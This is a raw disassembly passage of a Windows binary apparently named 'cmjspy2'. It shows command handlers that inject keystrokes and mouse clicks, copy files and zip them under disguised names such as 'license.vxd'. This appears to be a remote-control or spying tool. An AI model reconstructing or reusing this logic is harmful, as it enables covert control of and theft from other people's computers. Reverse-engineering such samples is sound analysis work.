lea eax, [ebp - 0x244]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x240]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je 0x40c4ad
mov word [ebp - 0x41c], 0x548
lea eax, [ebp - 0x230]
mov edx, dword [ebp - 0x49c]
call fcn.00401a50
mov dl, byte [eax]
lea eax, [ebp - 0x24c]
call fcn.004962bc
inc dword [ebp - 0x410]
lea ecx, [ebp - 0x24c]
push ecx
lea eax, [ebp - 0x23c]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x24c]
mov edx, 2
call fcn.00496390
inc dword [ebp - 0x49c]
lea eax, [ebp - 0x230]
call fcn.00401a2c
cmp eax, dword [ebp - 0x49c]
jge 0x40c38f
lea edx, [ebp - 0x23c]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x238]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x230]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x554
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x250]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x250]
mov eax, dword [eax]
call fcn.0043989c
push eax
call fcn.004059d4
pop ecx
xor edx, edx
mov dl, al
cmp edx, 1
sbb ecx, ecx
neg ecx
push ecx
dec dword [ebp - 0x410]
lea eax, [ebp - 0x250]
mov edx, 2
call fcn.00496390
pop ecx
test cl, cl
je case.0x409fb9.108
mov word [ebp - 0x41c], 0x560
lea eax, [ebp - 0x25c]
push eax
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x56c
mov byte [ebp - 0x25c], 0x95
mov word [ebp - 0x41c], 0x578
mov edx, 0x49a133
lea eax, [ebp - 0x260]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x260]
push edx
lea ecx, [ebp - 0x25c]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x260]
mov edx, 2
call fcn.00496390
lea edx, [ebp - 0x25c]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x258]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
push dword [ecx + 0x3e4]
call fcn.00488bf4
pop ecx
push 0
mov word [ebp - 0x41c], 0x584
lea eax, [ebp - 0x268]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a14f
lea eax, [ebp - 0x264]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x264]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x268]
call fcn.00401de4
push eax
lea eax, [ebp - 0x270]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a142
lea eax, [ebp - 0x26c]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x26c]
mov eax, dword [ebp - 0x430]
add eax, 0x3d0
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x270]
call fcn.00401de4
push eax
call sub.KERNEL32.DLL_CopyFileA
dec dword [ebp - 0x410]
lea eax, [ebp - 0x270]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x26c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x268]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x264]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x590
lea eax, [ebp - 0x278]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a158
lea eax, [ebp - 0x274]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x274]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x278]
mov eax, dword [eax]
call fcn.00496160
dec dword [ebp - 0x410]
lea eax, [ebp - 0x278]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x274]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x59c
lea eax, [ebp - 0x280]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a16f
lea eax, [ebp - 0x27c]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x27c]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x280]
call fcn.00401de4
push eax
lea eax, [ebp - 0x288]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a166
lea eax, [ebp - 0x284]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x284]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x288]
call fcn.00401de4
push eax
call sym.Projectcmjspy2.exe_cmjZip
dec dword [ebp - 0x410]
lea eax, [ebp - 0x288]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x284]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x280]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x27c]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x5a8
lea eax, [ebp - 0x290]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, str.hlogo.tx
lea eax, [ebp - 0x28c]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x28c]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x290]
mov eax, dword [eax]
call fcn.00496160
dec dword [ebp - 0x410]
lea eax, [ebp - 0x290]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x28c]
mov edx, 2
call fcn.00496390
push 0
mov word [ebp - 0x41c], 0x5b4
lea eax, [ebp - 0x298]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, str.hlogo.tx.mzip
lea eax, [ebp - 0x294]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x294]
mov eax, dword [ebp - 0x430]
add eax, 0x3d4
pop ecx
call fcn.004963e8
lea edx, [ebp - 0x298]
push dword [edx]
lea eax, [ebp - 0x2a0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a186
lea eax, [ebp - 0x29c]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x29c]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea edx, [ebp - 0x2a0]
push dword [edx]
mov eax, dword [ebp - 0x430]
push dword [eax + 0x344]
call fcn.004147b0
add esp, 0x10
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2a0]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x29c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x298]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x294]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x5c0
lea eax, [ebp - 0x2a8]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a1a2
lea eax, [ebp - 0x2a4]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x2a4]
mov eax, dword [ebp - 0x430]
add eax, 0x3d0
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x2a8]
mov eax, dword [eax]
call fcn.00496160
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2a8]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2a4]
mov edx, 2
call fcn.00496390
push str.w___
mov word [ebp - 0x41c], 0x5cc
lea eax, [ebp - 0x2b0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, str.hlicense.vxd
lea eax, [ebp - 0x2ac]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x2ac]
mov eax, dword [ebp - 0x430]
add eax, 0x3d0
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x2b0]
call fcn.00401de4
push eax
call fcn.0048909c
add esp, 8
mov edx, dword [ebp - 0x430]
mov dword [edx + 0x3e4], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2b0]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2ac]
mov edx, 2
call fcn.00496390
jmp case.0x409fb9.108
push 0
push 0
push 0
mov word [ebp - 0x41c], 0x5d8
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x2b4]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x2b4]
mov eax, dword [eax]
call fcn.0043989c
push eax
call sub.USER32.DLL_keybd_event
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2b4]
mov edx, 2
call fcn.00496390
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
push dword [ecx + 0x3d0]
call fcn.00401cbc
pop ecx
mov eax, dword [ebp - 0x430]
mov byte [eax + 0x363], 1
mov word [ebp - 0x41c], 0x5e4
lea edx, [ebp - 0x2c0]
push edx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x5f0
mov byte [ebp - 0x2c0], 0xa1
mov word [ebp - 0x41c], 0x5fc
lea eax, [ebp - 0x2c4]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov eax, 1
call fcn.004397fc
lea edx, [ebp - 0x2c4]
push edx
lea ecx, [ebp - 0x2c0]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2c4]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x608
lea eax, [ebp - 0x2c8]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov eax, 0x64
call fcn.004397fc
lea edx, [ebp - 0x2c8]
push edx
lea ecx, [ebp - 0x2c0]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2c8]
mov edx, 2
call fcn.00496390
lea edx, [ebp - 0x2c0]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2bc]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x318]
mov dl, 1
call fcn.00473bb8
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x318]
xor edx, edx
call fcn.00473bb8
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x614
lea ecx, [ebp - 0x2d4]
push ecx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x620
mov byte [ebp - 0x2d4], 0x9e
mov word [ebp - 0x41c], 0x62c
lea eax, [ebp - 0x2d8]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0041091c
pop ecx
lea edx, [ebp - 0x2d8]
push edx
lea ecx, [ebp - 0x2d4]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2d8]
mov edx, 2
call fcn.00496390
lea edx, [ebp - 0x2d4]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2d0]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov ecx, dword [ebp - 0x430]
push dword [ecx + 0x344]
call fcn.00414a08
pop ecx
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x644
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2dc]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x2dc]
mov eax, dword [eax]
call fcn.0043989c
test eax, eax
setne dl
and edx, 1
mov byte [ebp - 0x49d], dl
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2dc]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x638
mov word [ebp - 0x41c], 0x650
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x2e0]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x2e0]
mov eax, dword [eax]
call fcn.0043989c
mov dword [ebp - 0x4a4], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2e0]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x638
mov word [ebp - 0x41c], 0x65c
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x2e4]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x2e4]
mov eax, dword [eax]
call fcn.0043989c
mov dword [ebp - 0x4a8], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2e4]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x638
push dword [ebp - 0x4a8]
push dword [ebp - 0x4a4]
call sub.USER32.DLL_SetCursorPos
cmp byte [ebp - 0x49d], 0
je 0x40cf26
push 0
push 0
push 0
push 0
push 2
call sub.USER32.DLL_mouse_event
jmp 0x40cf35
push 0
push 0
push 0
push 0
push 8
call sub.USER32.DLL_mouse_event
mov word [ebp - 0x41c], 0x668
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x2e8]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x2e8]
mov eax, dword [eax]
call fcn.0043989c
mov dword [ebp - 0x4a4], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2e8]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x674
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x2ec]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x2ec]
mov eax, dword [eax]
call fcn.0043989c
mov dword [ebp - 0x4a8], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2ec]
mov edx, 2
call fcn.00496390
push dword [ebp - 0x4a8]
push dword [ebp - 0x4a4]
call sub.USER32.DLL_SetCursorPos
cmp byte [ebp - 0x49d], 0
je 0x40d000
push 0
push 0
push 0
push 0
push 4
call sub.USER32.DLL_mouse_event
jmp 0x40d00f
push 0
push 0
push 0
push 0
push 0x10
call sub.USER32.DLL_mouse_event
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x680
lea ecx, [ebp - 0x2f0]
push ecx
call fcn.004112fc
pop ecx
inc dword [ebp - 0x410]
mov word [ebp - 0x41c], 0x68c
cmp byte [ebp - 0xc], 0xb4
jne 0x40d0a2
mov word [ebp - 0x41c], 0x698
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x300]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x300]
mov eax, dword [eax]
call fcn.0043989c
push eax
lea edx, [ebp - 0x2f0]
push edx
call fcn.004115c8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x300]
mov edx, 2
call fcn.00496390
lea ecx, [ebp - 0x2f0]
push ecx
call fcn.0041146c
pop ecx
mov word [ebp - 0x41c], 0x6a4
lea eax, [ebp - 0x2fc]
push eax
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x68c
xor edx, edx
mov dword [ebp - 0x4ac], edx
jmp 0x40d1da
mov byte [ebp - 0x2fc], 0xb3
mov word [ebp - 0x41c], 0x6b0
push dword [ebp - 0x4ac]
lea ecx, [ebp - 0x2f0]
push ecx
lea eax, [ebp - 0x308]
push eax
call fcn.004115fc
add esp, 0xc
lea edx, [ebp - 0x308]
push edx
add dword [ebp - 0x410], 3
lea ecx, [ebp - 0x2fc]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x304]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x308]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x6bc
push dword [ebp - 0x4ac]
lea ecx, [ebp - 0x2f0]
push ecx
lea eax, [ebp - 0x310]
push eax
call fcn.004115fc
add esp, 0xc
lea edx, [ebp - 0x310]
add dword [ebp - 0x410], 3
add edx, 4
push edx
lea ecx, [ebp - 0x2fc]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x30c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x310]
mov edx, 2
call fcn.00496390
inc dword [ebp - 0x4ac]
lea ecx, [ebp - 0x2f0]
push ecx
call fcn.0041165c
pop ecx
cmp eax, dword [ebp - 0x4ac]
ja 0x40d0e2
lea edx, [ebp - 0x2fc]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x2f8]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
push 2
lea ecx, [ebp - 0x2f0]
push ecx
call fcn.00411354
add esp, 8
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x6c8
mov word [ebp - 0x41c], 0x6d4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x320]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x320]
mov eax, dword [eax]
call fcn.0043989c
mov dword [ebp - 0x4b0], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x320]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp 0x40d2ea
mov edx, dword [ebp - 0x430]
cmp dword [edx + 0x344], 0
je 0x40d313
push dword [ebp - 0x4b0]
mov ecx, dword [ebp - 0x430]
push dword [ecx + 0x344]
call fcn.00413908
add esp, 8
mov eax, dword [ebp - 0x430]
cmp dword [eax + 0x340], 0
je 0x40d33c
push dword [ebp - 0x4b0]
mov edx, dword [ebp - 0x430]
push dword [edx + 0x340]
call fcn.00413908
add esp, 8
mov word [ebp - 0x41c], 0x6e0
lea ecx, [ebp - 0x31c]
push ecx
call fcn.00405458
pop ecx
add dword [ebp - 0x410], 2
mov word [ebp - 0x41c], 0x6ec
mov byte [ebp - 0x31c], 0xbd
mov word [ebp - 0x41c], 0x6f8
lea eax, [ebp - 0x324]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
mov eax, dword [ebp - 0x4b0]
call fcn.004397fc
lea edx, [ebp - 0x324]
push edx
lea ecx, [ebp - 0x31c]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x324]
mov edx, 2
call fcn.00496390
lea edx, [ebp - 0x31c]
mov eax, dword [ebp - 0x430]
call fcn.00405a20
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x318]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x710
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x328]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x328]
mov eax, dword [eax]
call fcn.0043989c
mov dword [ebp - 0x4b4], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x328]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x704
mov word [ebp - 0x41c], 0x71c
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x32c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea eax, [ebp - 0x32c]
mov eax, dword [eax]
call fcn.0043989c
mov dword [ebp - 0x4b8], eax
dec dword [ebp - 0x410]
lea eax, [ebp - 0x32c]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x704
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x32c]
xor edx, edx
call fcn.00427548
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x330]
xor edx, edx
call fcn.00427548
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x32c]
mov edx, dword [ebp - 0x4b4]
call fcn.00496158
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x330]
mov edx, dword [ebp - 0x4b8]
call fcn.00496158
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x32c]
mov dl, 1
call fcn.00427548
mov ecx, dword [ebp - 0x430]
mov eax, dword [ecx + 0x330]
mov dl, 1
call fcn.00427548
mov word [ebp - 0x41c], 0x14
jmp case.0x409fb9.108
mov word [ebp - 0x41c], 0x728
lea ecx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x340]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
call fcn.0040189c
add esp, 8
lea edx, [ebp - 0x340]
mov eax, dword [ebp - 0x430]
add eax, 0x3c8
call fcn.004963c0
dec dword [ebp - 0x410]
lea eax, [ebp - 0x340]
mov edx, 2
call fcn.00496390
lea ecx, [ebp - 0xc]
push ecx
call fcn.00406254
pop ecx
mov eax, dword [ebp - 0x430]
add eax, 0x3c8
mov edx, 1
call fcn.00401a50
movsx ecx, byte [eax]
cmp ecx, 0x61
jne 0x40d5e7
mov al, 1
call fcn.00439d68
cmp edx, 0xffffffff
jne 0x40d5e7
cmp eax, 0xffffffff
jne 0x40d5e7
dec dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 8]
mov edx, 2
call fcn.00496390
mov ecx, dword [ebp - 0x42c]
mov dword fs:[0], ecx
jmp 0x40e781
mov eax, dword [ebp - 0x430]
add eax, 0x3c8
call fcn.00401de4
push eax
mov edx, dword [ebp - 0x430]
add edx, 0x378
push edx
call fcn.004158fc
add esp, 8
mov ecx, dword [ebp - 0x430]
add ecx, 0x3c8
push ecx
lea eax, [ebp - 0xc]
push eax
call fcn.00407ab8
add esp, 8
xor edx, edx
mov dword [ebp - 0x4bc], edx
mov word [ebp - 0x41c], 0x14
jmp 0x40d9bd
push dword [ebp - 0x4bc]
mov ecx, dword [ebp - 0x430]
add ecx, 0x378
push ecx
call fcn.00415978
add esp, 8
cmp byte [eax + 0xc], 0
je 0x40d768
mov word [ebp - 0x41c], 0x734
lea eax, [ebp - 0x348]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
push dword [ebp - 0x4bc]
mov edx, dword [ebp - 0x430]
add edx, 0x378
push edx
call fcn.00415978
add esp, 8
call fcn.00401de4
mov edx, eax
lea eax, [ebp - 0x344]
call fcn.004961ec
mov edx, eax
inc dword [ebp - 0x410]
mov eax, 0x49a1be
pop ecx
call fcn.004966d8
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x350]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a1c0
lea eax, [ebp - 0x34c]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x34c]
pop ecx
pop eax
call fcn.004963e8
lea edx, [ebp - 0x350]
push edx
lea ecx, [ebp - 0xc]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x350]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x34c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x348]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x344]
mov edx, 2
call fcn.00496390
jmp 0x40d9b7
mov word [ebp - 0x41c], 0x740
push dword [ebp - 0x4bc]
mov ecx, dword [ebp - 0x430]
add ecx, 0x378
push ecx
call fcn.00415978
add esp, 8
call fcn.00401de4
mov edx, eax
lea eax, [ebp - 0x354]
call fcn.004961ec
inc dword [ebp - 0x410]
lea ecx, [ebp - 0x354]
push ecx
lea eax, [ebp - 0xc]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x354]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x74c
lea eax, [ebp - 0x358]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
push dword [ebp - 0x4bc]
mov edx, dword [ebp - 0x430]
add edx, 0x378
push edx
call fcn.00415978
add esp, 8
mov eax, dword [eax + 4]
shr eax, 0xa
pop edx
call fcn.00409070
lea ecx, [ebp - 0x358]
push ecx
lea eax, [ebp - 0xc]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x358]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x758
lea eax, [ebp - 0x360]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a1c2
lea eax, [ebp - 0x35c]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x35c]
mov eax, dword [ebp - 0x430]
add eax, 0x3c8
pop ecx
call fcn.004963e8
lea edx, [ebp - 0x360]
push edx
lea eax, [ebp - 0x364]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
push dword [ebp - 0x4bc]
mov edx, dword [ebp - 0x430]
add edx, 0x378
push edx
call fcn.00415978
add esp, 8
mov edx, eax
pop ecx
pop eax
call fcn.004963e8
lea eax, [ebp - 0x364]
mov eax, dword [eax]
call fcn.00439a8c
push eax
lea eax, [ebp - 0x368]
call fcn.00401800
mov edx, eax
inc dword [ebp - 0x410]
pop eax
call fcn.004397fc
lea edx, [ebp - 0x368]
push edx
lea ecx, [ebp - 0xc]
push ecx
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x368]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x364]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x360]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x35c]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x764
lea eax, [ebp - 0x36c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
push dword [ebp - 0x4bc]
mov edx, dword [ebp - 0x430]
add edx, 0x378
push edx
call fcn.00415978
add esp, 8
mov eax, dword [eax + 8]
pop edx
call fcn.00409070
lea ecx, [ebp - 0x36c]
push ecx
lea eax, [ebp - 0xc]
push eax
call fcn.00407ab8
add esp, 8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x36c]
mov edx, 2
call fcn.00496390
inc dword [ebp - 0x4bc]
mov ecx, dword [ebp - 0x430]
add ecx, 0x378
push ecx
call fcn.00415968
pop ecx
cmp eax, dword [ebp - 0x4bc]
ja 0x40d63c
mov word [ebp - 0x41c], 0x77c
push 2
push 0x40000000
lea eax, [ebp - 0x374]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a1c4
lea eax, [ebp - 0x370]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x370]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea eax, [ebp - 0x374]
call fcn.00401de4
push eax
lea edx, [ebp - 0x338]
push edx
call fcn.00411f84
add esp, 0x10
inc dword [ebp - 0x410]
dec dword [ebp - 0x410]
lea eax, [ebp - 0x374]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x370]
mov edx, 2
call fcn.00496390
mov word [ebp - 0x41c], 0x770
lea eax, [ebp - 8]
call fcn.00401a2c
push eax
lea eax, [ebp - 8]
call fcn.00401de4
push eax
lea edx, [ebp - 0x338]
push edx
call fcn.00412010
add esp, 0xc
lea ecx, [ebp - 0x338]
push ecx
call fcn.004120d0
pop ecx
mov word [ebp - 0x41c], 0x788
lea eax, [ebp - 0x37c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
mov edx, 0x49a1cd
lea eax, [ebp - 0x378]
call fcn.004961ec
mov edx, eax
inc dword [ebp - 0x410]
mov eax, dword [ebp - 0x430]
add eax, 0x3c4
pop ecx
call fcn.004963e8
lea edx, [ebp - 0x37c]
push edx
lea eax, [ebp - 0x33c]
call fcn.00401800
push eax
inc dword [ebp - 0x410]
lea eax, [ebp - 0x380]
mov edx, dword [str..mzip]
call fcn.004961ec
inc dword [ebp - 0x410]
lea edx, [ebp - 0x380]
pop ecx
pop eax
call fcn.004963e8
dec dword [ebp - 0x410]
lea eax, [ebp - 0x380]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x37c]
mov edx, 2
call fcn.00496390
dec dword [ebp - 0x410]
lea eax, [ebp - 0x378]
mov edx, 2
call fcn.00496390
